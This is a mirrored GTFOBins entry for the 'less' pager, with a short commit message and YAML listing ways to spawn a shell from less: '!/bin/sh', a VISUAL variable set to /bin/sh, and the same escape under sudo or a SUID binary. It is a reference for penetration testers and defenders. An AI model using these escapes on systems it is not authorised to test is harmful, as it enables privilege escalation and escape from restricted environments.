mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-26 14:59:44 +01:00
e885d4a6ee
It is useless because: - if Debian-like, it is not supported and does not drop anyway; - otherwise the `system()`-like function already used a shell that dropped the privileges.
19 lines
330 B
Markdown
19 lines
330 B
Markdown
---
|
|
functions:
|
|
exec-interactive:
|
|
- code: |
|
|
less /etc/profile
|
|
!/bin/sh
|
|
- code: |
|
|
VISUAL="/bin/sh -c '/bin/sh'" less /etc/profile
|
|
v
|
|
sudo-enabled:
|
|
- code: |
|
|
sudo less /etc/profile
|
|
!/bin/sh
|
|
suid-limited:
|
|
- code: |-
|
|
./less /etc/profile
|
|
!/bin/sh
|
|
---
|